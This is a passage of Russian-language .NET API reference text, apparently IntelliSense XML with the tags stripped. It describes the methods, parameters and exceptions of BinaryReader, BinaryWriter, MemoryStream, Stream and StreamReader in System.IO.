отрицательно. + 2 + + + Считывает десятичное значение из текущего потока и перемещает текущую позицию в потоке на шестнадцать байтов вперед. + Десятичное значение, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает число с плавающей запятой длиной 8 байт из текущего потока и перемещает текущую позицию в потоке на восемь байт вперед. + Число с плавающей запятой длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 2 байта из текущего потока и перемещает текущую позицию в потоке на два байта вперед. + Целое число со знаком длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Целое число со знаком длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 8 байта из текущего потока и перемещает текущую позицию в потоке на восемь байт вперед. + Целое число со знаком длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает из текущего потока байт со знаком и перемещает текущую позицию в потоке на один байт вперед. + Байт со знаком, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает число с плавающей запятой длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Число с плавающей запятой длиной 4 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает строку из текущего потока.Строка предваряется значением длины строки, которое закодировано как целое число блоками по семь битов. + Считываемая строка. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 2 байта в формате с прямым порядком байтов из текущего потока и перемещает текущую позицию в потоке на два байта вперед. + Целое число без знака длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Целое число без знака длиной 4 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 8 байт из текущего потока и перемещает текущую позицию в потоке на восемь байтов вперед. + Целое число без знака длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Ошибка ввода-вывода. + Поток закрыт. + 2 + + + Записывает простые типы данных в поток как двоичные значения и поддерживает запись строк в определенной кодировке. + 2 + + + Выполняет инициализацию нового экземпляра класса , который осуществляет запись в поток. + + + Инициализирует новый экземпляр класса на основании указанного потока с использованием кодировки UTF-8. + Выходной поток. + Поток не поддерживает запись или был закрыт до начала операции. + Параметр имеет значение null. + + + Инициализирует новый экземпляр класса на основании указанного потока и кодировки символов. + Выходной поток. + Кодировка символов, которую нужно использовать. + Поток не поддерживает запись или был закрыт до начала операции. + Значение параметра или — null. + + + Инициализирует новый экземпляр класса на основании указанного потока и кодировки символов, а также при необходимости оставляет поток открытым. + Выходной поток. + Кодировка символов, которую нужно использовать. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Поток не поддерживает запись или был закрыт до начала операции. + Значение параметра или — null. + + + Получает базовый поток . + Базовый поток, связанный с объектом BinaryWriter. + 1 + + + Освобождает все ресурсы, используемые текущим экземпляром класса . + + + Освобождает неуправляемые (а при необходимости и управляемые) ресурсы, используемые объектом . + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Очищает все буферы текущего модуля записи и вызывает немедленную запись всех буферизованных данных на базовое устройство. + 1 + + + Задает без резервного хранилища. + 1 + + + Содержит базовый поток. + + + Задает позицию в текущем потоке. + Позиция в текущем потоке. + Смещение в байтах относительно . + Поле указывает точку отсчета, относительно которой указывается новая позиция. + Указатель позиции в файле перемещен в недопустимую позицию. + Значение является недопустимым. + 1 + + + Выполняет запись значения типа Boolean длиной один байт в текущий поток, при этом 0 соответствует значению false, а 1 — значению true. + Записываемое в поток значение типа Boolean (0 или 1). + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись байта без знака в текущий поток и перемещает позицию в потоке на один байт вперед. + Записываемый в поток байт без знака. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись массива байтов в базовый поток. + Массив байтов, содержащий записываемые в поток данные. + Ошибка ввода-вывода. + Поток закрыт. + Параметр имеет значение null. + 1 + + + Выполняет запись части массива байтов в текущий поток. + Массив байтов, содержащий записываемые в поток данные. + Стартовая точка в буфере , с которой начинается запись. + Количество записываемых байтов. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись символа Юникод в текущий поток и перемещает текущую позицию в потоке вперед в соответствии с используемой Encoding и количеством записанных в поток символов. + Незаменяющий символ Юникода, который необходимо записать. + Ошибка ввода-вывода. + Поток закрыт. + + представляет собой единичный символ-заместитель. + 1 + + + Выполняет запись массива символов в текущий поток и перемещает текущую позицию в потоке в соответствии с используемой Encoding и количеством записанных в поток символов. + Массив символов, содержащий записываемые в поток данные. + Параметр имеет значение null. + Поток закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись части массива символов в текущий поток и изменяет текущую позицию в потоке в соответствии с используемой Encoding и, возможно, количеством символов, записанных в поток. + Массив символов, содержащий записываемые в поток данные. + Стартовая точка в буфере , с которой начинается запись. + Количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает десятичное число в текущий поток и перемещает позицию в потоке на шестнадцать байтов. + Десятичное значение, которое необходимо записать. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает число с плавающей запятой длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Число с плавающей запятой длиной 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 2 байта в текущий поток и перемещает позицию в потоке вперед на два байта. + Целое число со знаком размером 2 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Целое число со знаком размером 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Целое число со знаком размером 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает байт со знаком в текущий поток и перемещает позицию в потоке вперед на один байт. + Байт со знаком, который необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает число с плавающей запятой длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Число с плавающей запятой длиной 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает в текущий поток строку, предваряемую ее длиной, используя текущую кодировку , и перемещает позицию в потоке вперед в соответствии с используемой кодировкой и количеством записанных в поток символов. + Записываемое значение. + Ошибка ввода-вывода. + Параметр имеет значение null. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 2 байта в текущий поток и перемещает позицию в потоке вперед на два байта. + Целое число без знака размером 2 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Целое число без знака размером 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Целое число без знака размером 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает 32-разрядное целое число в сжатом формате. + 32-разрядное целое число, которое необходимо записать. + Достигнут конец потока. + Поток закрыт. + Поток закрыт. + + + Исключение, которое создается при попытке выполнить чтение за пределами потока. + 2 + + + Выполняет инициализацию нового экземпляра класса со строкой сообщения, которая соответствует строке системного сообщения, и значением HRESULT равным COR_E_ENDOFSTREAM. + + + Выполняет инициализацию нового экземпляра класса со строкой сообщения, которая соответствует строке , и значением HRESULT равным COR_E_ENDOFSTREAM. + Строка, описывающая ошибку.Содержимое параметра должно быть понятным пользователю.Вызывающий оператор этого конструктора необходим, чтобы убедиться, локализована ли данная строка для текущего языка и региональных параметров системы. + + + Выполняет инициализацию нового экземпляра класса с указанным сообщением об ошибке и ссылкой на внутреннее исключение, которое стало причиной данного исключения. + Строка, описывающая ошибку.Содержимое параметра должно быть понятным пользователю.Вызывающий оператор этого конструктора необходим, чтобы убедиться, локализована ли данная строка для текущего языка и региональных параметров системы. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + Исключение возникает, когда поток данных имеет недопустимый формат. + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса с указанным сообщением об ошибке. + Сообщение об ошибке с объяснением причин исключения. + + + Инициализирует новый экземпляр класса со ссылкой на внутреннее исключение, которое является причиной данного исключения. + Сообщение об ошибке с объяснением причин исключения. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + Создает поток, резервным хранилищем которого является память.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 2 + + + Инициализирует новый экземпляр класса расширяемой емкостью, инициализированной нулевым значением. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанного массива байтов. + Массив байтов без знака, из которого создается текущий поток. + Свойство имеет значение null. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанного массива байтов с помощью указанного значения свойства . + Массив байтов без знака, из которого создается данный поток. + Параметр свойства , который определяет возможность поддержки потоком записи. + Свойство имеет значение null. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанной области (индекса) массива байтов. + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Свойство имеет значение null. + Значение параметра или меньше нуля. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый неизменяемый экземпляр класса на основе указанной области массива байтов с помощью указанного значения свойства . + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Параметр свойства , который определяет возможность поддержки потоком записи. + Свойство имеет значение null. + Параметр или имеет отрицательное значение. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый экземпляр класса на основе указанной области массива байтов с помощью указанного значения свойства и возможности вызова с указанным значением. + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Параметр свойства , который определяет возможность поддержки потоком записи. + Значение true, чтобы разрешить метод , возвращающий массив байтов без знака, из которого создан поток; в противном случае — значение false. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый экземпляр класса расширяемой емкостью, инициализированной с указанным значением. + Исходный размер внутреннего массива в байтах. + Значение отрицательно. + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций чтения. + Значение true, если поток открыт. + 2 + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций поиска. + Значение true, если поток открыт. + 2 + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций записи. + Значение true, если поток поддерживает запись; в противном случае — значение false. + 2 + + + Возвращает или задает число байтов, выделенных для этого потока. + Длина применимой к использованию части буфера для потока. + Заданная емкость отрицательная или меньше текущей длины потока. + Текущий поток закрыт. + set вызывается для потока, емкость которого нельзя изменить. + 2 + + + Асинхронно считывает все байты из текущего потока и записывает их в другой поток, используя указанный размер буфера и токен отмены. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля. + Токен для отслеживания запросов отмены. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Освобождает неуправляемые ресурсы, используемые классом (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Переопределяет метод так, что никакие действия не выполняются. + 2 + + + Асинхронно очищает все буферы для этого потока и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию очистки. + Токен для отслеживания запросов отмены. + Поток был ликвидирован. + + + Возвращает длину потока в байтах. + Длина потока в байтах. + Поток закрыт. + 2 + + + Возвращает или задает текущее положение в потоке. + Текущее положение в потоке. + В качестве положения задано отрицательное значение или значение, большее . + Поток закрыт. + 2 + + + Считывает блок байтов из текущего потока и записывает данные в буфер. + Общее число байтов, записанных в буфер.Оно может быть меньше запрошенного числа байтов, если это количество в текущий момент не доступно, или же равно нулю, если конец потока достигнут до того, как байты были считаны. + При возвращении данного метода этот параметр содержит указанный массив байтов со значениями от до ( + - 1), замененными символами, считанными из текущего потока. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается сохранение данных из текущего потока. + Максимальное число байтов, предназначенных для чтения. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Длина буфера за вычетом меньше, чем . + Текущий экземпляр потока закрыт. + 2 + + + Асинхронно считывает последовательность байтов из текущего потока, перемещает позицию в потоке на число считанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Считывает байт из текущего потока. + Байт приводится к типу или -1, если достигнут конец потока. + Текущий экземпляр потока закрыт. + 2 + + + Задает указанное значение для положения в текущем потоке. + Новое положение в потоке, вычисляемое путем объединения смещения и исходной точки ссылки. + Новое положение в потоке.Оно определяется относительно параметра и может быть положительным или отрицательным. + Значение типа , которое действует как точка ссылки поиска. + Попытка поиска выполняется до начала потока. + Значение больше значения . + + недопустим. -или-Значение вызвало арифметическое переполнение. + Текущий экземпляр потока закрыт. + 2 + + + Задает указанное значение для длины текущего потока. + Значение задаваемой длины. + Размер текущего потока изменить нельзя, и значение параметра больше текущей емкости.-или- Текущий поток не поддерживает запись. + Значение параметра отрицательное или больше максимальной длины , где максимальная длина равна ( - источник). Источник — это индекс в основном буфере, с которого начинается поток. + 2 + + + Записывает содержимое потока в массив байтов независимо от свойства . + Новый массив байтов. + 2 + + + Возвращает массив байтов без знака, из которого был создан данный поток.Возвращаемое значение указывает, успешно ли выполнено преобразование. + Значение true, если преобразование прошло успешно; в противном случае — значение false. + Сегмент массива байтов, из которого был создан данный поток. + + + Записывает в текущий поток блок байтов, используя данные, считанные из буфера. + Буфер, из которого записываются данные. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается копирование байтов в текущий поток. + Максимальное число байтов для записи. + Свойство имеет значение null. + Поток не поддерживает запись.Дополнительные сведения см. в разделе .-или- Текущее положение ближе к концу потока, чем число байтов , и емкость изменить невозможно. + Длина буфера за вычетом меньше, чем . + Параметр или имеет отрицательное значение. + Ошибка ввода-вывода. + Текущий экземпляр потока закрыт. + 2 + + + Асинхронно записывает последовательность байтов в текущий поток, перемещает текущую позицию внутри потока на число записанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Записывает байт в текущее положение текущего потока. + Записываемый байт. + Поток не поддерживает запись.Дополнительные сведения см. в разделе .-или- Текущее положение находится в конце потока и емкость изменить невозможно. + Текущий поток закрыт. + 2 + + + Записывает все содержимое данного потока памяти в другой поток. + Поток, в который требуется осуществить запись данного потока памяти. + Свойство имеет значение null. + Текущий или конечный поток закрыт. + 2 + + + Задает позицию в потоке, используемую для поиска. + 2 + + + Задает начало потока. + + + Задает текущее положение в потоке. + + + Задает конец потока. + + + Предоставляет универсальное представление последовательности байтов.Этот класс является абстрактным.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 2 + + + Инициализирует новый экземпляр класса . + + + При переопределении в производном классе возвращает значение, показывающее, поддерживает ли текущий поток возможность чтения. + Значение true, если поток поддерживает чтение; в противном случае — значение false. + 1 + + + При переопределении в производном классе возвращает значение, которое показывает, поддерживается ли в текущем потоке возможность поиска. + Значение true, если поток поддерживает поиск; в противном случае — значение false. + 1 + + + Возвращает значение, которое показывает, может ли для данного потока истечь время ожидания. + Значение, которое показывает, может ли для данного потока истечь время ожидания. + 2 + + + При переопределении в производном классе возвращает значение, которое показывает, поддерживает ли текущий поток возможность записи. + Значение true, если поток поддерживает запись; в противном случае — значение false. + 1 + + + Считывает байты из текущего потока и записывает их в другой поток. + Поток, в который будет скопировано содержимое текущего потока. + Свойство имеет значение null. + Текущий поток не поддерживает чтение.-или-Параметр не поддерживает запись. + Текущий поток или параметр был закрыт до вызова метода . + Произошла ошибка ввода-вывода. + + + Считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера. + Поток, в который будет скопировано содержимое текущего потока. + Размер буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток не поддерживает чтение.-или-Параметр не поддерживает запись. + Текущий поток или параметр был закрыт до вызова метода . + Произошла ошибка ввода-вывода. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Свойство имеет значение null. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера и токен отмены. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Освобождает все ресурсы, занятые модулем . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + При переопределении в производном классе очищает все буферы данного потока и вызывает запись данных буферов в базовое устройство. + Ошибка ввода-вывода. + 2 + + + Асинхронно очищает все буферы для этого потока и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Поток был ликвидирован. + + + Асинхронно очищает все буферы данного потока, вызывает запись буферизованных данных в базовое устройство и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию очистки. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Поток был ликвидирован. + + + При переопределении в производном классе получает длину потока в байтах. + Длинное значение, представляющее длину потока в байтах. + Класс, созданный на основе класса Stream, не поддерживает возможность поиска. + Методы были вызваны после закрытия потока. + 1 + + + Объект Stream без резервного хранилища. + 1 + + + При переопределении в производном классе получает или задает позицию в текущем потоке. + Текущее положение в потоке. + Ошибка ввода-вывода. + Этот поток не поддерживает поиск. + Методы были вызваны после закрытия потока. + 1 + + + При переопределении в производном классе считывает последовательность байтов из текущего потока и перемещает позицию в потоке на число считанных байтов. + Общее количество байтов, считанных в буфер.Это число может быть меньше количества запрошенных байтов, если столько байтов в настоящее время недоступно, а также равняться нулю (0), если был достигнут конец потока. + Массив байтов.После завершения выполнения данного метода буфер содержит указанный массив байтов, в котором значения в интервале между и ( + - 1) заменены байтами, считанными из текущего источника. + Смещение байтов (начиная с нуля) в , с которого начинается сохранение данных, считанных из текущего потока. + Максимальное количество байтов, которое должно быть считано из текущего потока. + Сумма значений параметров и больше длины буфера. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток не поддерживает чтение. + Методы были вызваны после закрытия потока. + 1 + + + Асинхронно считывает последовательность байтов из текущего потока и перемещает позицию внутри потока на число считанных байтов. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Асинхронно считывает последовательность байтов из текущего потока, перемещает позицию в потоке на число считанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Считывает байт из потока и перемещает позицию в потоке на один байт или возвращает -1, если достигнут конец потока. + Байт без знака, приведенный к Int32, или значение -1, если достигнут конец потока. + Поток не поддерживает чтение. + Методы были вызваны после закрытия потока. + 2 + + + Возвращает или задает значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию чтения, прежде чем истечет время ожидания. + Значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию чтения, прежде чем истечет время ожидания. + Метод всегда создает исключение . + 2 + + + При переопределении в производном классе задает позицию в текущем потоке. + Новая позиция в текущем потоке. + Смещение в байтах относительно параметра . + Значение типа , указывающее точку ссылки, которая используется для получения новой позиции. + Ошибка ввода-вывода. + Поток не поддерживает поиск, если поток создан на основе канала или вывода консоли. + Методы были вызваны после закрытия потока. + 1 + + + При переопределении в производном классе задает длину текущего потока. + Нужная длина текущего потока в байтах. + Ошибка ввода-вывода. + Поток не поддерживает ни поиск, ни запись, например, если поток создан на основе канала или вывода консоли. + Методы были вызваны после закрытия потока. + 2 + + + При переопределении в производном классе записывает последовательность байтов в текущий поток и перемещает текущую позицию в нем вперед на число записанных байтов. + Массив байтов.Этот метод копирует байты из в текущий поток. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается копирование байтов в текущий поток. + Количество байтов, которое необходимо записать в текущий поток. + Сумма  и  больше, чем длина буфера. + + — null. + + или  является отрицательным. + Произошла ошибка ввода-вывода, такие как не удается найти указанный файл. + Поток не поддерживает запись. + + был вызван после закрытия потока. + 1 + + + Асинхронно записывает последовательность байтов в текущий поток и перемещает текущую позицию внутри потока на число записанных байтов. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает последовательность байтов в текущий поток, перемещает текущую позицию внутри потока на число записанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Записывает байт в текущее положение в потоке и перемещает позицию в потоке вперед на один байт. + Байт, записываемый в поток. + Ошибка ввода-вывода. + Поток не поддерживает запись или был закрыт до начала операции. + Методы были вызваны после закрытия потока. + 2 + + + Возвращает или задает значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию записи, прежде чем истечет время ожидания. + Значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию записи, прежде чем истечет время ожидания. + Метод всегда создает исключение . + 2 + + + Реализует объект , который считывает символы из потока байтов в определенной кодировке.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 1 + + + Инициализирует новый экземпляр класса для заданного потока. + Поток, который нужно считать. + + не поддерживает чтение. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданный параметр обнаружения метки порядка следования байтов. + Поток, который нужно считать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + + не поддерживает чтение. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + + не поддерживает чтение. + Параметр или имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов и параметр обнаружения метки порядка байтов. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + + не поддерживает чтение. + Параметр или имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов, параметр обнаружения метки порядка байтов и размер буфера. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + Минимальный размер буфера. + Поток не поддерживает чтение. + Параметр или имеет значение null. + Значение параметра меньше или равно нулю. + + + Инициализирует новый экземпляр класса для указанного потока на основе заданной кодировки символов, параметра обнаружения меток порядка байтов и размера буфера, а также при необходимости оставляет поток открытым. + Считываемый поток. + Кодировка символов, которую нужно использовать. + Значение true для поиска меток порядка байтов в начале файла; в противном случае — значение false. + Минимальный размер буфера. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + + + Возвращает основной поток. + Основной поток. + 2 + + + Возвращает текущую кодировку символов, используемую текущим объектом . + Текущая кодировка символов, используемая текущим устройством чтения.После первого вызова любого метода объекта значение может измениться, поскольку до первого вызова метода автоматическое определение кодировки не выполняется. + 2 + + + Очищает внутренний буфер. + 2 + + + Закрывает основной поток, освобождает неуправляемые ресурсы, используемые , и при необходимости освобождает управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Возвращает значение, определяющее, находится ли позиция текущего потока в конце потока. + Значение true, если текущее положение находится в конце потока; в противном случае — значение false. + Основной поток удален. + 1 + + + Объект для пустого потока. + 1 + + + Возвращает следующий доступный символ, но не использует его. + Целое число, представляющее следующий символ для прочтения или значение -1, если доступных для чтения символов нет или поток не поддерживает поиск. + Ошибка ввода-вывода. + 1 + + + Выполняет чтение следующего символа из входного потока и перемещает положение символа на одну позицию вперед. + Следующий символ из входного потока, представленный в виде объекта , или значение -1, если больше нет доступных символов. + Ошибка ввода-вывода. + 1 + + + Считывает заданное максимальное количество символов из текущего потока в буфер начиная с заданного индекса. + Число символов, которые были считаны, или значение 0, если к концу потока не было считано никаких данных.Это число будет не больше параметра , в зависимости от доступности данных в потоке. + При возврате данный метод содержит указанный массив символов, в котором значения в интервале между и () заменены символами, считанными из текущего источника. + Индекс , с которого требуется начать запись. + Максимальное число считываемых символов. + Длина буфера за вычетом значения параметра меньше значения параметра . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Возникает ошибка ввода-вывода, например закрывается поток. + 1 + + + Асинхронно считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + При возвращении из этого метода содержит указанный массив символов, в котором значения в интервале от и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец потока достигнут, прежде чем указанное количество символов записывается в буфер, возвращается текущий метод. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток 